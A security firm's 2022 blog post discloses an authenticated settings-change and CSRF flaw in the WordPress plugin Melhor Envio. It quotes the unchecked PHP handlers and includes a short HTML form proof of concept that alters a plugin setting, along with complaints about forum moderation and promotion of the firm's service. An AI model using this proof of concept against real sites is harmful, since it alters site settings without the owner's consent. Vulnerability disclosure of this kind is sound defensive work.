26 Apr 2022

Authenticated Setting Change Vulnerability in WordPress Plugin Melhor Envio

As part of our monitoring the WordPress Support Forum for indications of vulnerabilities in plugins that we should be warning our customers about, we came across this review of the plugin Melhor Envio:

O plugin da melhor envio está com o trojan denominado JS:Trojan.Cryxos faz quase um mês, e mesmo eu entrando em contato com o suporte e tendo provado isso por diversas vezes, o plugin continua disponível para download com o Trojan. Meu site foi retirado do ar cinco vezes pela wordpress.com e chegou a ter 645 arquivos contaminados por esse malware.

The claim being made there sounds like it could involve a security issue unrelated to the plugin and a false positive malware identification, but we went to check on the plugin to make sure there wasn’t something that we should be warning our customers about. What we found is that the plugin lacks basic security and is very insecure.

As an example of that, the plugin registers the function saveAll() to be accessible by anyone logged in to WordPress through WordPress’ AJAX functionality:

109
add_action('wp_ajax_save_configuracoes', [$configurationsController, 'saveAll']);

That function, which is located in the file, /Controllers/ConfigurationController.php, doesn’t do any security checks before passing along user input to the function saveConfigurations():

254
255
256
public function saveAll()
{
	$response = (new ConfigurationsService())->saveConfigurations($_POST);

That function, which is located in the file /Services/ConfigurationsService.php, in turn will update the plugin’s settings without doing any security checks:

40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
public function saveConfigurations($data)
{
	$response = [];
 
	(new ClearDataStored())->clear();
 
	if (isset($data['origin'])) {
		$response['origin'] = (new Address())->setAddressShopping(
			$data['origin']
		);
	}
 
	if (isset($data['dimension_default'])) {
		$response['dimension_default'] = $this->setDimensionDefault(
			$data['dimension_default']
		);
	}
 
	if (isset($data['agency'])) {
		$response['agency'][ShippingCompany::JADLOG] = $data['agency'];
	}
 
	if (isset($data['agency_azul'])) {
		$response['agency'][ShippingCompany::AZUL_CARGO] = $data['agency_azul'];
	}
 
	if (isset($data['agency_latam'])) {
		$response['agency'][ShippingCompany::LATAM_CARGO] = $data['agency_latam'];
	}
 
	if (!empty($response['agency'])) {
		(new AgenciesSelectedService())->set($response['agency']);
	}
 
	if (isset($data['show_calculator'])) {
		$response['show_calculator'] = (new CalculatorShow())->set(
			$data['show_calculator']
		);
	}
 
	if (isset($data['where_calculator'])) {
		$response['where_calculator'] = $this->setWhereCalculator(
			$data['where_calculator']
		);
	}
 
	if (isset($data['path_plugins'])) {
		$response['path_plugins'] = $this->savePathPlugins(
			$data['path_plugins']
		);
	}
 
	if (isset($data['options_calculator'])) {
		$response['options_calculator'] = $this->setOptionsCalculator(
			$data['options_calculator']
		);
	}
 
	if (isset($data['label'])) {
		$response['label'] = $this->setLabel(
			$data['label']
		);
	}
 
	return $response;
}

So anyone logged in WordPress can change the plugin’s settings. Also, through cross-site request forgery (CSRF) an attacker could cause someone else who is logged in to WordPress to change the plugin’s settings without intending it.

There is a lot of other functionality of the plugin that is accessible through WordPress’ AJAX functionality and looks to be also not be secure.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will change the name setting to “proof of concept”, when logged in to WordPress.

Replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=save_configuracoes" method="POST">
<input type="hidden" name="label[name]" value="proof of concept" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Leave a Reply

Your email address will not be published. Required fields are marked *